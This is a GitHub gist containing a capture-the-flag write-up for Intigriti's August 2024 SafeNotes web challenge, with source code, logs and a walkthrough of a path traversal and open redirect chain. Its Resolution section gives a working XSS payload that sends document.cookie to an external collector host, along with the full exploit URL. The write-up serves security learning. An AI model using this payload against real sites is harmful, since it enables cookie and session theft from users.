Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Created August 10, 2024 22:44
Show Gist options
  • Save Siss3l/e05a6a9995d4986f7ca89326d5b338d7 to your computer and use it in GitHub Desktop.
Save Siss3l/e05a6a9995d4986f7ca89326d5b338d7 to your computer and use it in GitHub Desktop.
Intigriti's August 2024 Web Challenge thanks to @Crypto-Cat

Intigriti August Challenge

  • Category: Web
  • Impact: Medium
  • Solves: 10

Challenge

Description

The solution to find the flag should include:

  • The flag in the format INTIGRITI{.*};
  • The payload(s) used (run ./start.sh);
  • Steps to solve (short description / bullet points);
  • Should be reported on the Intigriti platform.

Overview

We have a classic web challenge during Defcon where we can use notes:

{% extends "base.html" %} {% block content %}
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>SafeNotes - Secure Note Taking</title>
        <meta name="description" content="SafeNotes is a secure application for taking and sharing notes with robust reporting features." />
        <link rel="icon" type="image/x-icon" href="/static/images/favicon.ico" />
        <link rel="stylesheet" href="/static/css/general.css" />
        <link rel="stylesheet" href="/static/css/navbar.css" />
        <link rel="stylesheet" href="/static/css/forms.css" />
        <link rel="stylesheet" href="/static/css/flash.css" />
        <link rel="stylesheet" href="/static/css/panel.css" />
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css" />
        <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;600&display=swap" rel="stylesheet" />
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css" />
        <script src="https://code.jquery.com/jquery-latest.min.js"></script>
        <script src="/static/js/purify.min.js"></script>
    </head>
    <body>
        <nav class="navbar">
            <div class="navbar-left">
                <a href="/" class="logo"><img src="/static/images/logo.png" alt="Small Logo" class="small-logo">SafeNotes</a>
            </div>
            <div class="navbar-right">
                <ul>
                    <li><a href="/home">Home</a></li>
                    <li><a href="/login">Login</a></li>
                </ul>
            </div>
        </nav>
        <div class="content-container">
            <div class="content">
                <link rel="stylesheet" href="/static/css/home.css">
                <div class="container mt-5 content-container home-container">
                    <div class="text-center">
                        <h1 class="animate__animated animate__fadeIn">Welcome to SafeNotes</h1>
                        <p class="animate__animated animate__fadeIn">SafeNotes is your secure place to create, store, and share notes. Whether you need to keep personal thoughts or share important information with others, SafeNotes ensures your notes are safe and accessible.</p>
                    </div>
                    <div class="row mt-4 animate__animated animate__zoomIn justify-content-center">
                        <div class="col-md-4 text-center">
                            <h2 class="animate__animated animate__fadeIn">Create Notes</h2>
                            <p class="subtitle">Easily create and store your notes securely.</p>
                            <img src="/static/images/create_note.png" alt="Create Note" class="home-image img-fluid rounded shadow-sm">
                        </div>
                        <div class="col-md-4 text-center mt-4">
                            <h2 class="animate__animated animate__fadeIn">View Notes</h2>
                            <p class="subtitle">Access your notes anytime with the unique Note ID.</p>
                            <img src="/static/images/view_note.png" alt="View Note" class="home-image img-fluid rounded shadow-sm">
                        </div>
                        <div class="col-md-4 text-center mt-4">
                            <h2 class="animate__animated animate__fadeIn">Report Notes</h2>
                            <p class="subtitle">Report any notes that violate our terms for review.</p>
                            <img src="/static/images/report_note.png" alt="Report Note" class="home-image img-fluid rounded shadow-sm">
                        </div>
                    </div>
                    <div class="text-center mt-5 animate__animated animate__fadeInUp home-buttons">
                        <a href="/create" class="btn btn-primary btn-lg mx-2"><i class="fas fa-plus"></i>Create Note</a>
                        <a href="/view" class="btn btn-secondary btn-lg mx-2"><i class="fas fa-eye"></i>View Note</a>
                        <a href="/report" class="btn btn-warning btn-lg mx-2"><i class="fas fa-exclamation-triangle"></i>Report a Note</a>
                        <a href="/contact" class="btn btn-info btn-lg mx-2"><i class="fas fa-envelope"></i>Contact Us</a>
                    </div>
                </div>
            </div>
        </div>
        <div class="flash-container"></div>
        <footer class="footer">
            <div class="footer-content">
                <p>&copy; 2024 SafeNotes. All rights reserved.</p>
                <p><a href="#">Terms & Conditions</a> | <a href="#">Privacy Policy</a></p>
            </div>
        </footer>
        <script>
            document.querySelectorAll("form input, form textarea").forEach((input) => {
                input.addEventListener("focus", () => {
                    document.body.classList.add("dimmed");
                });
                input.addEventListener("blur", () => {
                    document.body.classList.remove("dimmed");
                });
            });
            function showFlashMessage(message, category) {
                const flashContainer = document.querySelector('.flash-container');
                flashContainer.innerHTML = '';
                const flashMessageDiv = document.createElement('div');
                flashMessageDiv.className = 'flash-message ' + category;
                flashMessageDiv.textContent = message;
                flashContainer.appendChild(flashMessageDiv);
                flashMessageDiv.style.display = 'block';
                setTimeout(() => { flashMessageDiv.style.display = 'none'; flashMessageDiv.remove(); }, 5000);
            }
        </script>
    </body>
</html>
{% endblock %}
FROM node:14-slim # Dockerfile
RUN apt-get update && apt-get install -y tini chromium --no-install-recommends && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY package.json .
RUN npm install
COPY . . # Use tini to manage zombie processes and signal forwarding
ENTRYPOINT ["tini", "--"]
CMD ["npm", "start"]
EXPOSE 8000
{
  "name": "bot",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": { "start": "node index.js" },
  "dependencies": {
    "express": "^4.17.1",
    "puppeteer": "^13.0.0"
  }
}
const express = require("express"); // ./bot/index.js
const puppeteer = require("puppeteer");
const app = express();
const PORT = 8000;
const FLAG = process.env.FLAG;
const BASE_URL = process.env.BASE_URL || "http://127.0.0.1";
app.use(express.json());
function sleep(s) {
    return new Promise((resolve) => setTimeout(resolve, s));
}
app.post("/visit", async (req, res) => {
    let { url } = req.body;
    if (!url) {
        return res.status(400).json({ error: "URL is required" });
    }
    if (!url.startsWith(BASE_URL)) {
        return res.status(400).json({ error: `URL must start with ${BASE_URL}` });
    }
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true, // false
            args: [
                '--no-sandbox',
                '--disable-setuid-sandbox',
                '--disable-dev-shm-usage',
                '--disable-accelerated-2d-canvas',
                '--disable-gpu',
                '--window-size=800x600', ],
        });
        const page = await browser.newPage();
        await page.setCookie({
            name: "flag",
            value: FLAG,
            url: BASE_URL,
        });
        await page.goto(url, { waitUntil: "networkidle2", timeout: 9999 });
        await sleep(5000);
        await browser.close();
        res.json({ status: "success" });
    } catch (error) {
        console.error(`Error visiting page: ${error}`);
        res.status(500).json({ error: error.toString() });
    } finally {
        if (browser) {
            await browser.close();
        }
    }
});
app.listen(PORT, () => { console.log(`Bot service running on port ${PORT}`); });

Analysis

At first, we have a ./Dockerfile text in the challenge source code allowing us to try it locally.
We end up with a lot of code to rummage through but we can already outsource it to some LLM with Code searching while building our tree of possible technologies/attacks used:

Tree

Here is a draft of the server logs:

$ docker compose up
Attaching to chall-bot-1, chall-db-1, chall-web-1
chall-web-1  | 127.0.0.1:5410 - no response
chall-web-1  | Waiting for database...
chall-db-1   |
chall-db-1   | PostgreSQL Database directory appears to contain a database; Skipping initialization
chall-db-1   |
chall-db-1   | 2024-08-09 10:10:20.796 UTC [1] LOG:  starting PostgreSQL 16.4 (Debian 16.4-1.pgdg120+1)
chall-db-1   | 2024-08-09 10:10:20.797 UTC [1] LOG:  listening on IPv4 address "0.0.0.0", port 5410
chall-db-1   | 2024-08-09 10:10:20.797 UTC [1] LOG:  listening on IPv6 address "::", port 5410
chall-db-1   | 2024-08-09 10:10:20.803 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5410"
chall-db-1   | 2024-08-09 10:10:20.812 UTC [8] LOG:  database system was shut down at 2024-08-09 01:00:00 UTC
chall-db-1   | 2024-08-09 10:10:20.835 UTC [1] LOG:  database system is ready to accept connections
chall-bot-1  |
chall-bot-1  | > bot@1.0.0 start /app
chall-bot-1  | > node index.js
chall-bot-1  |
chall-web-1  | 127.0.0.1:5410 - accepting connections
chall-web-1  | [2024-08-09 10:10:21 +0000] [11] [INFO] Starting gunicorn 22.0.0
chall-web-1  | [2024-08-09 10:10:21 +0000] [11] [INFO] Listening at: http://0.0.0.0:80 (11)
chall-web-1  | [2024-08-09 10:10:21 +0000] [11] [INFO] Using worker: sync
chall-web-1  | [2024-08-09 10:10:21 +0000] [13] [INFO] Booting worker with pid: 13
chall-bot-1  | Bot service running on port 8000
chall-web-1  | INFO:apscheduler.scheduler:Adding job tentatively -- it will be properly scheduled when the scheduler starts
chall-web-1  | INFO:apscheduler.scheduler:Added job "clear_database" to job store "default"
chall-web-1  | INFO:apscheduler.scheduler:Scheduler started
chall-web-1  | 170.10.0.1 - - [09/Aug/2024:10:10:45 +0000] "GET / HTTP/1.1" 200 5598 "-" "Mozilla/5.0"
chall-web-1  | 170.10.0.1 - - [09/Aug/2024:10:10:45 +0000] "GET /static/css/general.css HTTP/1.1" 200 0 "http://localhost:80/" "Mozilla/5.0"
[...]

Looking naturally in the old Puppeteer bot folder, we can see the usage of setCookie method (with HttpOnly attribute not set on true) in the ./bot/index.js file which tells us that we will need at least a XSS to exfiltrate the precious cookie value.

const page = await browser.newPage(); // When using "/report" url, with "http://localhost:80@endpoint" got denial
await page.setCookie({ name: "flag", value: "FLAG", url: "http://127.0.0.1", });
await page.goto(url, { waitUntil: "networkidle2", timeout: 9999 });

After wandering everywhere, we understand that the contact page exists in order to redirect our future payload:

{% extends "base.html" %} {% block content %}
<div class="contact-container">
    <h2>Contact Us</h2>
    <p>Feel free to reach out to us using the form below. We would love to hear from you!</p>
    <form method="POST" action="{{ url_for('main.contact', return=request.args.get('return', url_for('main.home'))) }}"
        class="note-form">
        {{ form.hidden_tag() }}
        <div class="form-group">
            {{ form.name.label }} {{ form.name(class="form-control") }}
        </div>
        <div class="form-group">
            {{ form.email.label }} {{ form.email(class="form-control") }}
        </div>
        <div class="form-group">
            {{ form.message.label }} {{ form.message(class="form-control") }}
        </div>
        <div class="form-group">
            <button type="submit" class="btn btn-primary">Send Message</button>
        </div>
    </form>
</div>
{% endblock %}

By focussing on the routes API, in the templates folder, we can find seemingly dangerous code:

<script>
const csrf_token = "{{ csrf_token() }}"; // ./web/app/templates/view.html
function fetchNoteById(noteId) {
    if (noteId.includes("../")) {
        showFlashMessage("Input not allowed!", "danger"); // Funny keyword
        return;
    }
    fetch("/api/notes/fetch/" + decodeURIComponent(noteId), { method: "GET", headers: { "X-CSRFToken": csrf_token, }, })
        .then((response) => response.json())
        .then((data) => {
            if (data.content) {
                document.getElementById("note-content").innerHTML = DOMPurify.sanitize(data.content);
                document.getElementById("note-content-section").style.display = "block";
                showFlashMessage("Note loaded successfully!", "success");
            } else if (data.error) {
                showFlashMessage("Error: " + data.error, "danger");
            } else {
                showFlashMessage("Note doesn't exist.", "info");
            }
            if (data.debug) {
                document.getElementById("debug-content").outerHTML = data.debug;
                document.getElementById("debug-content-section").style.display = "block";
            }
        });
}
function isValidUUID(noteId) {
    const uuidRegex = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
    return uuidRegex.test(noteId);
}
function validateAndFetchNote(noteId) {
    if (noteId && isValidUUID(noteId.trim())) {
        history.pushState(null, "", "?note=" + noteId); // xsleaks.dev/docs/attacks/navigations | JWT
        fetchNoteById(noteId);
    } else {
        showFlashMessage("Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456.", "danger");
    }
}
document.getElementById("fetch-note-button").addEventListener("click", function () {
        const noteId = document.getElementById("note-id-input").value.trim();
        validateAndFetchNote(noteId);
});
window.addEventListener("load", function () {
    const urlParams = new URLSearchParams(window.location.search);
    const noteId = urlParams.get("note");
    if (noteId) {
        document.getElementById("note-id-input").value = noteId;
        validateAndFetchNote(noteId);
    }
});
</script>

A valid url in the view route looks like this http://localhost:80/view?note=12345678-abcd-1234-5678-abc123def456 one, which does not trigger the isValidUUID method.

The data.debug value can be used to our advantage if we pollute it with valid JSON data.

Danger

And if we analyze the above code through LLM (not mandatory), we will see the endpoint/sink attack of the challenge.

  1. Path Traversal

    Vulnerability: The code checks for ../ in the noteId to prevent path traversal. However, there might be ways to bypass this check, such as using encoded ../ sequences (e.g., %2E%2E%2F).
    Mitigation: Implement a more robust input validation mechanism that decodes and checks the input multiple times.

  2. Redirection

    Vulnerability: The return parameter in the contact form action could potentially be used for open redirection attacks if not properly validated.
    Mitigation: Validate the return parameter to ensure it points to a safe and expected URL. Use a whitelist of allowed URLs if possible.

Resolution

So with all our understanding of the challenge, we need to:

  • Rotate the trimmed noteId to the contact page;
  • Redirect the bot to our payload with a crafted JSON served;
  • Wait until the end of the exfiltration and celebrate.

We have to go back far enough to go to the contact page first:

.
├── bot
│   ├── Dockerfile
│   ├── index.js
│   └── package.json
└── web
    ├── Dockerfile
    ├── app
    │   ├── static
    │   │   ├── css
    │   │   └── images
    │   ├── templates
    │   │   ├── contact.html
    │   │   └── view.html
    │   └── views.py
    ├── entrypoint.sh
    └── requirements.txt
const urlParams = new URLSearchParams(window.location.search);
URLSearchParams {size: 1}
const noteId = urlParams.get("note"); // Do not forget to add the CORS headers.
"..\\..\\..\\contact?return=https://webhook.site/12345678-abcd-1234-5678-abc123def456"

A simple payload, like many others:

{
  "content": "xss",
  "debug": "<img/src=x onerror=fetch('https://test.free.beeceptor.com?'+document.cookie)>",
  "error": null
}

The code executes correctly, giving the error GET http://localhost:80/x 404 (NOT FOUND) since we are on the right context.

The final url https://challenge-0824.intigriti.io/view?note=..\..\..\contact?return=https://webhook.site/12345678-abcd-1234-5678-abc123def456 payload must be sent to the report page to work.
Then we get the INTIGRITI{1337uplivectf_151124_54v3_7h3_d473} flag!

Defense

  • Adding valid CSP;
  • Data integrity;
  • Redirection filtering.

Appendix

A great challenge that knows how to make itself desired.

Cat

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment